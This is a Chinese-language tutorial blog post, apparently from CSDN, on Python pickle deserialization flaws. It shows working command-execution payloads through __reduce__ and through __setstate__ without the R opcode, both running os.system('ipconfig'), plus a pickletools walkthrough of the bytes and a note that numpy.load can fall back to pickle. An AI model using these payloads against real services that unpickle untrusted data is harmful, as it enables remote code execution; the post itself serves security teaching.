python pickle漏洞

本文深入探讨了Python的pickle库在序列化和反序列化过程中可能存在的安全漏洞,特别是如何利用魔术方法如`__reduce__`进行远程命令执行(RCE)。还介绍了PVM(Python Virtual Machine)的工作原理,以及如何通过pickletools进行字节码反汇编分析。最后,文章提到了numpy.load可能导致的反序列化漏洞情况。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

python反序列化漏洞

1.使用pickle库对对象进行序列化和反序列化操作

json反序列化

import json

dict={"admin":"123"}
json_info = json.dumps(dict)
print(str(type(json_info))+json_info)
dict1=json.loads(json_info)
print(str(type(dict1)))
print(dict)

pickle反序列化

import pickle

class Test:
    name="admin"
    passwd="123"

test=Test()
print(pickle.dumps(test))
#b'\x80\x03c__main__\nTest\nq\x00)\x81q\x01.'
byte = b'\x80\x03c__main__\nTest\nq\x00)\x81q\x01.'
print(pickle.loads(byte))

运行上面的代码可以发现,json是将字典对象转化为字符串,pickle序列化则是将对象转化为字节流形式,而我们之前使用的php则是将对象转化为字符串。同时,json是不能操作字典以外的其他对象的。

2.魔术方法

详见https://docs.python.org/zh-cn/3/library/pickle.html

我们通常使用的__reduce__方法是高级接口,使用更低级的接口也可以实现命令执行

import os, pickle

class Test(object):
    def __reduce__(self):
        return (os.system,('ipconfig',))
    
print(pickle.dumps(Test(), protocol=0))
print(pickle.loads(b'cnt\nsystem\np0\n(Vipconfig\np1\ntp2\nRp3\n.'))

在这里插入图片描述

也就是说,只要pickle.loads的变量可控,就有反序列化漏洞

同时,如果我们更换魔术方法名称为setstate或getstate等,都可以产生相同的效果

3.PVM

程序被编译成字节码之后,就会被加载到通常被称为虚拟机的一个东西上(Virtual Machine)来执行,Python的虚拟机称为PVM(Python Virtual Machine).事实上,PVM就是迭代运行(类似for循环)字节码指令,然后操作系统会去执行这些命令.PVM是Python的运行引擎,它时常表现为Python系统的一部分,并且它是实际运行脚本的组件.

PVM 由三部分组成:

  • 指令处理器

    从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 这个结束符后停止。

    最终留在栈顶的值将被作为反序列化对象返回。

  • stack

    由 Python 的 list 实现,被用来临时存储数据、参数以及对象。

  • memo

    由 Python 的 dict 实现,为 PVM 的整个生命周期提供存储

4.pickletools

可以通过pickletools对序列化生成的字节码进行反汇编操作,反汇编的结果就是PVM上的字节码指令

有关pickletools:https://docs.python.org/zh-cn/3/library/pickletools.html

在这里插入图片描述

这就是以上代码反汇编的结果

以下分析指令执行过程

​ 字符串的第一个字节是\x80(这个操作符于版本2被加入)。机器看到这个操作符,立刻再去字符串读取一个字节,得到x03。解释为“这是一个依据3号协议序列化的字符串”,这个操作结束。

​ 机器取出下一个字符作为操作符C。这个操作符(称为GLOBAL操作符),它连续读取两个字符串,规定以\n为分割,并将这些字符串依次进栈,这里取的是nt和system。

​ 接下来,会遇到p指令,将栈顶存储在备忘录中;索引是字符串arg,同时遇到0指令,进行出栈操作

​ 由于,这里需要传参,所以会有R指令,在堆栈上对argtuple应用可调用

​ 接下来就结束这个字节码

5.不使用reduce进行rce
import os, pickle,pickletools

class Student():
    def __init__(self):
        self.name='123'
        self.grade='123'
        
pickletools.dis(b'\x80\x03c__main__\nStudent\n)\x81}(V__setstate__\ncos\nsystem\nubVipconfig\nb.')
pickle.loads(b'\x80\x03c__main__\nStudent\n)\x81}(V__setstate__\ncos\nsystem\nubVipconfig\nb.')

在这里插入图片描述

成功执行了命令,同时字节流中没有R指令码了

6.numpy.load触发反序列化漏洞

例如:numpy.load()先尝试以numpy自己的数据格式导入;如果失败,则尝试以pickle的格式导入。因此numpy.load()也可以触发pickle反序列化漏洞

格式导入;如果失败,则尝试以pickle的格式导入。因此numpy.load()也可以触发pickle反序列化漏洞

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值